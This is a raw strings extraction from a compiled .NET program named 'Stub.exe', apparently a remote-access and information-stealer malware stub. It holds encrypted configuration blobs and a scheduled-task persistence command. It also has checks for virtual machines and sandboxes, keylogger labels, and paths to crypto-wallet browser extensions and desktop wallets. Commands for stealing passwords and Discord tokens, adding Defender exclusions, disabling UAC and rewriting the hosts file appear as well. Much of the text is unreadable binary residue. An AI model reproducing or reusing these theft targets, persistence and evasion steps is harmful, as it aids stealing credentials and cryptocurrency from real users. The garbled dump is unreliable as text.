!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Action`10
<Read>b__0
<Read>b__2_1
IEnumerable`1
CallSite`1
List`1
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
X509Certificate2
ToUInt64
ToInt64
ToUInt16
ToInt16
HMACSHA256
get_UTF8
<Module>
PyTLnGjqAMA
zKVqREELKoiMxNA
SystemParametersInfoA
kUtGqZwuQfpA
LWFILSdcrA
cYPJoXOVAB
ceYuujlPpkDrMB
OCIbWcXekltgkbeZB
UmILFBbpHaGdB
INeEmHyvJfrWygB
pDjdkdtBMZhB
UvBbuJmsBUaGAjB
fvCfXPbXFompB
KLTlWnrYXuncKC
YYSacJsBOgjMMC
zblaWYVzzdEIPC
fxqxMkJoUYC
ShVftRYubMsqaC
KUqsTpKLnkUGbkC
WIsnuRkrWFmC
bnZtboZffcMzqC
TvXGMEhUCD
MapNameToOID
BQguoNLdbJPID
get_FormatID
uJOOOPmVIVcQD
kqcwGctuPaD
YrhRowkeUgQdaD
qvHUbzIpAPJbD
FQHQSSRwLxgD
tfKULgvPSUmD
NCeMEZjNkBGGE
MvelrOBscKE
SrReSHHCoHHkLUE
EMAmpvIvBgUE
yBlrGtOpVE
zHUJlyihoVXE
qvvCPsEcOhXE
KVSAeLfGZdE
BtZnRXpSApILDzdE
jzoGisElGLcIZeE
cMFTrOvQFceE
TenVMTnYrMxE
cejZQHplRpHKF
olxZUbGNoUF
zwpZVgGbuKWfF
pMGZlkxIGkGgF
dKqTtYdAaDwnF
xtKmwvunttJrF
MEkwnxpfGXJG
PHYSkvocdvNGOG
WiNjuuVogKVG
aVXiNVbsnWG
xQBygcXTfG
RWmtysuTSnGJGgG
TEaCsdMbZvjQjnG
FJRYTFCBEsqPoG
UUgMLyhDAGrG
LdLDmnBTzYHyG
ItwnYIqTBH
EZezLeXKPQAFH
XoVcRStDejnHjHH
ZrMLSlwTlMH
eCFCVptDimPH
drGSIEZbqXmaH
AyyKWaINaxmH
ZhmsYsszjVgBVluH
RTGRRQyulQhyH
siIBeXtkCI
cKfanBPkuCI
KKKuIzOSEI
get_ASCII
QrWEDcKTfXPI
YRRvMlGGuyQI
WKiOFAfOJeZKQSI
FHcqMtFIDLpMdI
iPFRIcSAOjCgI
PaEwWvDqhevI
VLmrOZYIkUHBJ
pCZbbWzqVDnfBJ
XdLVtTuTgjDJ
esubqAebFXFJ
tAanljCKpMJ
gHPjBDMybATdJ
hWAKtOqUCzzdJ
zaVhKgaGclHlgJ
ylYTqvbbRWHlJ
oUmkolKHbYqbpJ
ixwBPSCSOiRlqSrJ
PmMfjoAuIXHcjaXxJ
REnqgUwynIyJ
XTThnCSrwCzJ
tQwWkmrXOPbDK
kuLKgKgBaQrbFK
lnuLBXRZmKNK
hPUPwxirKROK
eXiZGnNJUefaK
iWTwWJOXhDNneK
PyGggyyfNsRfK
jTpSbusnDmgK
FNDDbaYxDczhK
wBCHrDIYtdrK
RIIedtqOCEL
WveHwPZuFVCjuHL
LHtlqubqdmpgiQJL
lUyVOjSOCPL
xhtwSmvmAFyjblL
zidttvIbPyosL
bREljASvZyL
wWaDKWaNfuDM
faWkbGFnVBAXAEM
DAbGhHbuPBAKM
GyJyiUDbRM
mKiguEOqUM
skmySjCSCEuiM
NNdGnoXwBvM
PBuUkmRspZAEXEvM
LElbHVkILAhbxM
dWiVTNusEdwxM
MOhdmAMYRSN
qqoMjfTAXVN
fFGAdCxXcAWN
wVbLnubqjIbN
ewRyNEXCtLfN
hYjBZZDOcRShN
GrhfLBZWSGoN
JrsWOlvWFvzN
kjBWWZCHCFeAQHO
System.IO
cNenRrMCVvWO
BUMRhPFfYZO
iprGoCeFWrsDRekO
vzSrVLpOcZIwRqO
jXvbbuxajNvqO
qsOaBzsBJzO
lSIbKFGklAHP
nqIUakENMshHP
IMLXwEBwLP
pjZkDnfHtjP
rVMJdiNcMnSmP
qzmJrwTeZsBQ
eQCTiJyiIiGQ
dHoxOfFPCzMQ
JXUvlpITWPQ
jJqqeLarUQ
PCCNSIJuwnTTVQ
TCFKkeNPEcQ
FZjVUyzUzSieQ
YfCWpOiONiClQ
wDuhVCyoEbsQ
RnUqdbfnTCR
WKystypGWKR
jPvUvwMgsaLR
AZODzSAyMemPR
HyPoiEUjTRR
CRfiAdqojCUR
gCqoJjioMeizHZR
QBdkcRIWGdCwR
WHfljVmIvFS
RkJwNUJhFWKJS
tkyazjIeafKS
EXZjlcwADjdcRLS
IoKigswmKQS
stwaIzHgCmYrS
ejqkpKIIvTxvvuS
iMsEoExrwJT
qolTCLVYFdCU
tcaUXoBNYoCU
wAywEUTLBEU
vCcveymLLmIeXwEU
LEkIDOuLAcU
JxzMADwhnU
aNcGEZYdRAV
get_IV
set_IV
GenerateIV
sLaYgRkzzeTV
jijLwqtqsEIDWV
fVkHXcPedV
SysRLrXTqCFEgV
KwJsSJXxHTYZEXjV
sifuDWEUMATvmV
AhtlLRRaEzCzV
KrxCNioxvbuMW
gdUJBQqjUZHeFqTW
xmiBmAdIGiiZW
GJfYIPLORnAaW
NqQjRQyHeHgiW
DMUrzxqqpVOkW
dMDePoNvKmW
HwZvyWNXrpW
OjRYoHaHGlWSX
tojFcIgmARdsEdX
YLyuPJSiOuTfX
PmRwdlWzANhbvoiX
kSLWfOwGeIjX
TLHfKEIGuFPllX
AxYJtQOXoX
kjtmefScyktsX
ZyHYOyZndxuaDLY
DNxzvahTufEFNY
WRfmlpzJNY
BfWphmKfKvNY
krMYvNRSQsaY
mlUYkhJYfY
hkrsSSElInY
EPVogHavDxY
BcjRTgRVxY
exKRvokYHqjAZ
jdYQAnzaMZ
iTHROLkPFEZhxMZ
qvcbseQFAOZ
hUEsrRMfxSZ
gZsrvAAEoEfZ
LhylaODEhZ
vwYWvqoNUZvTsiZ
ppTenjjamNmZ
BeKxMiVpTsZ
cXfKOGeWUsZ
jJqIFbgjrHyZ
value__
bGQuuVutFPzStTa
BxqyDcsjfzFaa
lMmgIxcntda
hJYIJJExnTMga
LSTWXIsCaILja
buQZhPIKnwPpa
XwhtTacRJjgsa
RfqJWVDHUAb
ydNZXjfwMb
sAHOhCvYZcCROb
IpzwGIrGbPb
CYYuZfRQwYb
JpflEQigTCiZb
ukECxDOZVPXWib
zfqftwyCcib
mscorlib
shIczCWnCkb
cOIQDcMMtlb
DZKIFspEPmb
dxkJbnIYCldZmb
XFlrOHnsvaIc
cjBsbpJtZgJc
PoPoRsiDdQZQiLRc
iirELxVSnxhc
DnvCttYeic
System.Collections.Generic
Microsoft.VisualBasic
dYxKrDIxkblc
fFMeZQvHhJfLIWunc
get_SendSync
zvVSAwTlqbaCd
GetWindowThreadProcessId
GetProcessById
SQAGVjviJQkZKd
vjdmkakKrkbPd
UMKOUvFxhvVd
EndRead
BeginRead
Thread
SHA256Managed
get_Connected
get_IsConnected
set_IsConnected
get_Guid
<SendSync>k__BackingField
<IsConnected>k__BackingField
<KeepAlive>k__BackingField
<HeaderSize>k__BackingField
<Ping>k__BackingField
<ActivatePong>k__BackingField
<Interval>k__BackingField
<Buffer>k__BackingField
<Offset>k__BackingField
<SslClient>k__BackingField
<TcpClient>k__BackingField
Append
RegistryValueKind
CompareMethod
method
xuAKDSrQrd
Clipboard
werHOmjQoRsd
piJoZsnRDjtd
UrLFCjWVosfXhxd
JmnNzbtFryCUBe
yqgdnzLKFDe
QlWSrrxTeGhuUe
cWRNmxaZEYVe
SJZcYRmCLYe
Replace
IsNullOrWhiteSpace
CreateInstance
set_Mode
FileMode
PaddingMode
EnterDebugMode
CryptoStreamMode
CompressionMode
CipherMode
SelectMode
DeleteSubKeyTree
vywSSIvaCtCge
fFidupKvjage
get_Message
EndInvoke
BeginInvoke
GetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
GetModuleHandle
RuntimeTypeHandle
GetTypeFromHandle
WaitHandle
ToSingle
DownloadFile
IsInRole
WindowsBuiltInRole
get_MainWindowTitle
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
get_MachineName
get_OSFullName
get_FullName
get_UserName
get_ProcessName
CheckHostName
DateTime
WriteLine
get_NewLine
Combine
ewGWEikOroe
UriHostNameType
get_ValueType
ProtocolType
GetType
SocketType
FileShare
System.Core
MethodBase
Dispose
StrReverse
X509Certificate
Create
MulticastDelegate
GetKeyboardState
SetThreadExecutionState
SetApartmentState
GetKeyState
Delete
CallSite
CompilerGeneratedAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
DefaultMemberAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ReadByte
WriteByte
DeleteValue
GetValue
SetValue
get_KeepAlive
set_KeepAlive
Remove
set_BlockSize
get_TotalSize
get_HeaderSize
set_HeaderSize
set_SendBufferSize
set_ReceiveBufferSize
set_KeySize
dLIYTturHAjBf
ZcEdXTbpAHFf
rxeyAzEFTPGf
cKSqWAspkuUEaLf
MIQcEXdLMf
SizeOf
jZEEvHPUWSf
HmBigyaHcJVf
JbDbnfwKVbrajMhVf
bgwwmhFCeqvef
WHUJPeywvrf
sLrDIBUIWuaGyf
vljkVyKLhMg
UCVPVWKVVGQg
mDjdVtYMLRg
izxnihniTMyrUg
UxYbjdrZIKfg
meKgJzLYXJyHgg
CryptoConfig
get_Ping
set_Ping
System.Threading
set_Padding
add_SessionEnding
UTF8Encoding
System.Drawing.Imaging
System.Runtime.Versioning
FromBase64String
ToBase64String
DownloadString
ToString
get_AsString
set_AsString
GetString
Substring
System.Drawing
get_ActivatePong
set_ActivatePong
set_ErrorDialog
OrBZLYyVDJtwug
LWPIosAyNyg
KwSPUqIdufkgzg
qJZPdQxPdCh
GNXFRjDpGh
bdZwxSgRVxzNh
SaIpfbSehVLabh
jTZIxdjTXfh
yBAPJYqPdnh
PCOQbmvAbGenh
ComputeHash
VerifyHash
get_ExecutablePath
GetTempPath
GetFolderPath
get_Length
EndsWith
BCEkaOLFpexh
OfzBikAUgDi
jPQsEiYhrsgsCFi
zGEPZMvzvDGi
QQncqOPtzywHi
BLAFWPxbLHFEeTJMi
CYaKDSCtrZaUi
kSgGPBBguRgi
xzOzqsFPsKzTari
hqBikwlpti
DHqJkZaVEMRLj
EolhveWhSXj
PhvwUTsqtZYj
qqaRIIXeNfolj
MhvZrrGIVzAnj
QOurTdGBcVbsnj
puFjGZTBTUyKoj
bCFnaxdkqVAPwYxj
VJYMovHxrIBk
weJlhOjnBk
mvRClYIcXOMk
TBnHDtRfRk
KQQoGjCQgpVaSk
AsyncCallback
RemoteCertificateValidationCallback
TimerCallback
callback
RegistryKeyPermissionCheck
FlushFinalBlock
znkFZDGmHjAjk
BNQpzlCDKjk
zqbFrRFUJYcFl
CRLyWtEZMLl
pkZnNVmTDkfHWzORl
hOYuIuVxYl
RtlSetProcessIsCritical
Marshal
NetworkCredential
System.Security.Principal
WindowsPrincipal
get_Interval
set_Interval
ghcvKEwDPhl
kernel32.dll
user32.dll
ntdll.dll
cupuivnzcXnl
XBUOlgzFJyUMCm
ZbUpMCLXXHXDm
jYrbXbxMdnATm
FileStream
NetworkStream
SslStream
CryptoStream
GZipStream
MemoryStream
lParam
wParam
HZcCTJGQjsUiCRcm
get_Item
get_Is64BitOperatingSystem
SymmetricAlgorithm
AsymmetricAlgorithm
HashAlgorithm
VSmGhrBjQZiYPom
Random
ICryptoTransform
XnvMWmfYAn
qORxJCapqCn
SoEZFdWVLEzAGn
zsMKaDIfUn
ToBoolean
TimeSpan
sHIkpYkGdoBudn
fSqpztKNemen
X509Chain
AppDomain
get_CurrentDomain
RQfiULleon
GetFileNameWithoutExtension
get_OSVersion
System.IO.Compression
Application
System.Security.Authentication
System.Reflection
X509CertificateCollection
ManagementObjectCollection
set_Position
CryptographicException
ArgumentNullException
ArgumentException
PQkoiwlfllpn
OFFPPRwTGrhHbPODo
UaVJWGyENPJo
tVHlUlKTmBqRo
rIcfevwSsuChYo
TBKgrVINiTKdo
ivqhKftcLKIeo
ImageCodecInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
MemberInfo
ComputerInfo
CSharpArgumentInfo
ProcessStartInfo
GetLastInputInfo
VnViKfKobvmho
HkhptvZEmio
bcTvnCqRHLVPqo
EKtexbjwogMp
QyImtuXFHksWp
rFARiMqjWZp
KUWzKOiWHiZp
pybuJrYGhcgp
qlQlpmyDzzjp
QdUdRuABTQhnp
Microsoft.CSharp
SpzdGiJWzp
bcjfACYEkPWvDq
vbtSgAKCWuGq
ydgRRxvSMfOq
AmslvFXSRrryhuxYq
ASPkssKHbq
oqhlOdmEcq
BDdJKuJeJzHKeq
EUMkzHPXXopNamq
System.Linq
nRyFMyRlhcuq
mAruyAiibIBr
bJOcHuigXURr
yBPbxOFgEEfVr
InvokeMember
MD5CryptoServiceProvider
RSACryptoServiceProvider
AesCryptoServiceProvider
StringBuilder
SpecialFolder
Microsoft.CSharp.RuntimeBinder
CallSiteBinder
get_Buffer
set_Buffer
get_AsInteger
set_AsInteger
ManagementObjectSearcher
SessionEndingEventHandler
ToUpper
CurrentUser
StreamWriter
TextWriter
BitConverter
ToLower
jcIlClAumYgr
PiJFhWTfCBzlr
IEnumerator
ManagementObjectEnumerator
System.Collections.IEnumerable.GetEnumerator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
IntPtr
eLcpmIHfZur
cyOGjCvJFs
aAFlEKkouHs
uAahVhCOtvhTKs
AEbpYjPvWTs
EutYnxzCZZs
System.Diagnostics
ecavDrIOUnds
FromSeconds
GetMethods
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
GetDirectories
ExpandEnvironmentVariables
GetTypes
GetProcesses
GetHostAddresses
System.Security.Cryptography.X509Certificates
Rfc2898DeriveBytes
ReadAllBytes
GetBytes
SdOUhFmcQbbNAfs
BindingFlags
CSharpArgumentInfoFlags
CSharpBinderFlags
Strings
SessionEndingEventArgs
ZDeSbGCbckjs
ICredentials
set_Credentials
Equals
SslProtocols
System.Windows.Forms
Contains
System.Collections
StringSplitOptions
get_Chars
GetImageDecoders
RuntimeHelpers
SslPolicyErrors
FileAccess
GetCurrentProcess
IPAddress
System.Net.Sockets
set_Arguments
SystemEvents
Exists
XpqhNvLZSmDCt
wFEoCPWywjdLt
fXaqDYrSMt
EbWqfVTRdJOt
jJEnbPJSxOt
VfQYoFzacbLBpQt
OEAdTnKcWat
Concat
ImageFormat
get_AsFloat
set_AsFloat
ManagementBaseObject
object
Collect
Connect
uNyhhIPhjyBdt
System.Net
Target
Socket
System.Collections.IEnumerator.Reset
get_Offset
set_Offset
op_Explicit
IAsyncResult
result
ToUpperInvariant
WebClient
AsyncClient
get_SslClient
set_SslClient
get_TcpClient
set_TcpClient
AuthenticateAsClient
System.Management
Environment
System.Collections.IEnumerator.get_Current
GetCurrent
CheckRemoteDebuggerPresent
get_RemoteEndPoint
get_Count
get_TickCount
get_ProcessorCount
TSnDgNiKHYRot
GetPathRoot
ParameterizedThreadStart
Convert
FailFast
ToList
fqeeXNdrTtt
GetKeyboardLayout
HXWaUvMHavvt
System.Collections.IEnumerator.MoveNext
System.Text
ReadAllText
GetText
SetText
GetWindowText
WIPlLCidqVnpKu
GaFDYRHnNJQu
NHcRRrUbtTu
XoxKqhhnLYTPbu
WDkrmashQclu
hEynNvVsMQSmu
iuIJNhhulmru
HhCzuRbMWvRxu
WJZOenlmjixu
ZGLEUPhyzYEsLMCv
SQlHYAUBucPBFv
epufvHAtJQxCEFNv
ecOGEXsZXnVv
lTGCxhuOsrXcJQWv
eWEEwWpfcFlCwWv
yoxKEsSEZv
UJFTuUJzObv
eRVZepqJapgSWiv
HKjcgDYeov
eyCcWPmiaStv
DbyrrjMNguZFw
BYNVMzPGSw
DSfMUmPPcw
xfqYdZYFelmw
GetForegroundWindow
set_CreateNoWindow
bgfMGCdIesw
ngETOaCAbzw
ToUnicodeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
LnVvbrhAeWKx
ABVDhOwEsuKx
OJxDhxRvigftQx
LPauCNKxFMraRx
zkFAzfbZAoGUx
GaFqJxmjBLtex
gkjgtyoRwGfx
ZBhXOOBqjKEnx
lPTXAIJSnAwx
UUVUGBkkVXLwx
PhunPsFUnUGvTxx
FdvFOqQPqNGy
FcQdNNmxHByUVy
BokdjDoBMHdWy
InitializeArray
ToArray
get_AsArray
get_Key
set_Key
CreateSubKey
OpenSubKey
get_PublicKey
MapVirtualKey
RegistryKey
System.Security.Cryptography
kbNYWjPLCMwDjy
Assembly
AddressFamily
BlockCopy
ToBinary
get_SystemDirectory
Registry
op_Equality
op_Inequality
System.Net.Security
WindowsIdentity
IsNullOrEmpty
ZOEAAldMCdrTCz
drfcnUCzGtEz
hhKpiAOzUxKz
jXVpBhnEOz
jIpVrjAOTVgaxzOz
DnOHMAfnOEZz
XeQwHVhiAjdz
ldecLxKKvtz
lVIBAImxaqJwz
WrapNonExceptionThrows
1.0.0.0
.NETFramework,Version=v4.6
FrameworkDisplayName
.NET Framework 4.6
_CorExeMain
mscoree.dll
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
SHA256
wIkioChnn3cBiDa1xlvQOvahCXDrx4Ici2qlygPUIOXBuoPUmjJKYpuY4oFqWf/CfFagMnHukUY++szosoQixQ==
sKx9IkHDTLvdV7tgS5VDtUowCVx62Ik6idhYJCRtF9gPv4qYm1qMMvTonchlqvodL9aZl1StXSJCd/yGYpMDIgrdCAKqCb/pYysZTPGpMiQ=
wKGYPxcg92PEdkHMKUmaL8cGrSuJbl7tZ3LrLvb2vufmuZGaNK5lUXq46DVOWimJQFdEtPffq++cqoZZIqPS5CijkcrhGBH2eWyOrLz/bT4=
SUW/l9JuKcqDFLWqjkrpUVsRs0XASipsoJlivVI8tXhIZvQ68fy6rzMIoaEw/C5P0/CK1ELZG6HKl4Ef0PANFg==
%AppData%
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
Packet
Message
LastTime
/c schtasks /create /f /sc onlogon /rl highest /tn "
" /tr '"
"' & exit
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
@echo off
timeout 3 > NUL
START "" "
" /f /q
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
Err HWID
ClientInfo
Microsoft
Performance
Pastebin
Antivirus
Meta_Firefox
MetaFirefox
\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Chrome
MetaChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Brave
MetaBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Meta_Edge
MetaEdge
\Opera Software\Opera Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Stable\Local Extension Settings\djclckkglechooblngghdinmeemkbgci
Meta_Opera
MetaOpera
\Opera Software\Opera GX Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Software\Opera GX Stable\Local Extension Settings\chrome-extension://djclckkglechooblngghdinmeemkbgci
Meta_OperaGX
MetaOperaGX
\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Chrome
PhantomChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Brave
PhantomBrave
\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Chrome
BinanceChrome
\Microsoft\Edge\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Edge
BinanceEdge
\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
TronLinkChrome
Exodus_Chrome
\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
BitKeep_Chrome
BitKeepChrome
\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Coinbase_Chrome
CoinbaseChrome
\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Ronin_Chrome
RoninChrome
\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Trust_Chrome
TrustChrome
\Google\Chrome\User Data\Default\Local Extension Settings\jkjgekcefbkpogohigkgooodolhdgcda
BitPay_Chrome
BitPayChrome
\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Chrome
F2aChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Brave
F2aBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ocglkepbibnalbgmbachknglpdipeoio
F2a_Edge
F2aEdge
\Ergo Wallet
Ergo_Wallet
ErgoWallet
\Ledger Live
Ledger_Live
LedgerLive
\atomic
Atomic
\Exodus
Exodus
\Electrum
Electrum
\Coinomi
Coinomi
\Binance
Binance
\Bitcoin
Bitcoin_Core
Bitcoin Core
BoolWallets
\Mozilla\Firefox\Profiles
-release
\extensions\webextension@metamask.io.xpi
Return
Escape
LControlKey
RControlKey
RShiftKey
LShiftKey
Capital
[SPACE]
[ENTER]
[CTRL]
[Shift]
[Back]
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
\Log.tmp
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Software\
plugin
savePlugin
gettxt
passload
DicordTokens
WebBrowserPass
anydesk
getscreen
WDExclusion
weburl
killps
ResetScale
KillProxy
backproxy
uacoff
Wallets
Chrome
ResetHosts
sendPlugin
Hashes
AllInOne
Password
Tokens
AVRemoval.Class1
Reset Scale succeeded!
BackProxy.Class1
wallets
\drivers\etc
\hosts.backup
\hosts
127.0.0.1
Blocked!
cmd.exe
/c taskkill.exe /im chrome.exe /f
Reset Hosts succeeded!
Plugin.Plugin
Msgpack
Received
masterKey can not be null or empty.
input can not be null.
Invalid message authentication code (MAC).
{0:D3}
{0:X2}
(never used) type $c1
(ext8,ext16,ex32) type $c7,$c8,$c9
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Stub.exe
LegalCopyright
LegalTrademarks
OriginalFilename
Stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0